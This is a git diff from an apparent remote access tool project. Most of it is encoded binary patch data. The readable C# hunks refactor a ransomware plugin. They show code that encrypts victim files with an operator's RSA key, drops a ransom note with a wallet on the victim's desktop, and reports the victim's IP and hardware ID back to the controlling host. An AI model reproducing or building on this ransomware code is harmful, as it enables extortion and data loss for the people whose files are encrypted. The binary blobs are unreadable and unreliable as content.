z`H-`t%&b-r{n4wsiaARq>Fnmgqd)~B5iQE$CGF1ubDUXwjr)AYdSiL6ja8SZBYb^i zp^>L*dGPIr86nzaagj1n+m&t;$5(7*D;qO)-v>=v-$FBhXI>b$G7}MF1{Zl5V1t(_pZUQXXmMJ*M!X@ zX8g>AUt4jXy`xa~;V@#=c;2E@Fcuz@1oPF3@6fFc3>MnkaAp0WmQ%F29^m1QOlTRJ z4R3WCm2jOXYf7aPE(df3O{8;3}n^IMY;icP4J-NsOpv->6iW#0vk~ zv&tpa;+)ru%^B0trHq1Ps!Q1{9^YN!6>+PTS zb8Gq%duY+YXM^F1WqjO?#1IIxwwH&!i>)W>DPgOt;9u}jVP+j|NG}rv0!~Aim2_0( z!FCG1Sr!VQPFcw6TC=M435`__miw8-7?Gs=@1h9w+h#-Wp141lF5KbH}5yY7I zfRG6C2@^$2FKIgtsxJZdu^`GYl&&4oGbk3s09P1_2YG^zvQv$XviukyHQS4+M}!3# z!QaOwf-qqm0HB%~C`tqwB|w=-$3uzIV4kP2fc;b1|eL8q}GliOtvnER-Z3ww*B8 ztX~cSu~96gOKN^eGcWnBSUaFY>X&r*l2eC857(?Dhc?5lE7?JsP)SSQjEf1Og0MhB zp~Mgi9Mp&!avkyz9N`i*!+R>(81?W_TviD9s5J-$2f{x`0+%Bd!e%((D{ANgob8pi z#3m*`xOq-=6#axf0@517F_4a2(tMl=u#ZWI;x}TVXd*F+j^d!?SKtk=%%E^MWfeX2 z3S6j)5tafI2A{Szy9zD@iNwi)TUG_bNQrg8L#X}9qk(T%xk5?dX4S#aark_-D>MVH zULyi+fJf9=K%c``Y7{I*a0bvsArN+yl_ZD&F&erU#O~*)6^|NS9FqNWbRAa}T>^5I z<4?)!xYp>B5b2*ITHHW%X^7p=5g$P%x(wt7CrUC6at)qPODklELk3X<$52Qo_Wz&e z!%$CnGr$*X*`YCT+&Xr$7#s)$9il*l($xWHq2P%q)bV2fB^g-9&RC6yl0nBn&31t4 ziw4oX)bhfGKrkTA@Xk6JP7LtTaVR7k6GibrNi>Kss0D@GyyVz|AVT{&YXj%4r-!b? z)$197C_H~K?kO-GkVeA7z~j;+iiG$>0*NXh(U3BNdWbz_9J3XY0g1rx0B0$1dqLWb zJ_2!vyuqJ<6hi{=W-mD(z`hjPR|pA&6pI#=mxJwsd;+k~e#z;B9OK@FjzVzobfD9a zLi{kuG^8B9UeC_hftv`0LSgvnP!i}Sb`F#p+J{{Tb%$)h%AjkINw{DGGno%@J=p(> zVF1~I6l1hP*`bnf`vzv6J-jin??b!>wSevsk)T;XkMMLL7Em{c4n!3C2A=}tpzve? zMIlHAdIc>Eq^6jt{zq`XGN8;gG?h!f$|YX~`Vs!IffA%g4a`snIDI2MAp%AVse&?q zT7A%$aHU3ikxsl*v|XIF-U<%oEVJ%$_E)Mn=4nUc1z;Jy&A9KUJR%pTw>go;wBOTG5+~h zJ!-8GRR3xc69t;vRua>dnor}|P&m>1hq&k<7E!kldQJL!btqJ@W@*wFY~Uu-BA9{@ a9ta=!mc1SB2M7d2EhJI0hUDD=^#1{AfCBdb diff --git a/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs b/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs index ecf6acf7..c82a764e 100644 --- a/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs +++ b/Remote Access Tool/Plugins/Ransomware/ClientHandler.cs @@ -86,7 +86,7 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; lock (socket) { diff --git a/Remote Access Tool/Plugins/Ransomware/Launch.cs b/Remote Access Tool/Plugins/Ransomware/Launch.cs index 809a5e41..b5f2443f 100644 --- a/Remote Access Tool/Plugins/Ransomware/Launch.cs +++ b/Remote Access Tool/Plugins/Ransomware/Launch.cs @@ -15,11 +15,11 @@ public static class Launch { public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.RANSOMWARE_ENCRYPTION: - RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.currentPacket; + RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.CurrentPacket; ActionEncryption encryption = new ActionEncryption( ransomwareEncryptionPacket.publicRSAServerKey, ransomwareEncryptionPacket.paths, @@ -31,7 +31,7 @@ public static void Main(LoadingAPI loadingAPI) break; case PacketType.RANSOMWARE_DECRYPTION: - RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.currentPacket; + RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.CurrentPacket; ActionDecryption decryption = new ActionDecryption( ransomwareDecryptionPacket.privateRSAServerKey ); diff --git a/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs b/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs index 2dbf1c71..06904860 100644 --- a/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs +++ b/Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs @@ -171,7 +171,7 @@ private void EndAction(IAsyncResult ar) File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Notes.txt", this.wallet + Environment.NewLine + Environment.NewLine + this.message); - Launch.ClientSender(this.loadingAPI.host, this.loadingAPI.key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.baseIp, this.loadingAPI.HWID)); + Launch.ClientSender(this.loadingAPI.Host, this.loadingAPI.Key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.BaseIp, this.loadingAPI.HWID)); } } } diff --git a/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs index 1a9f1f58..216e6174 100644 --- a/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..d9d581db7bf0d1870559711f1dce5e8dd7438e3d GIT binary patch literal 31395 zcmZshcQ_nv`0wAm=|v<2iB%H4dl9RXrne}&I?-8{=$%9of-KQH(QVPKUJ_;XZk5#% zC0LdytCur!e%CqYkMqZT=6=54`@U!Q*~>gLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 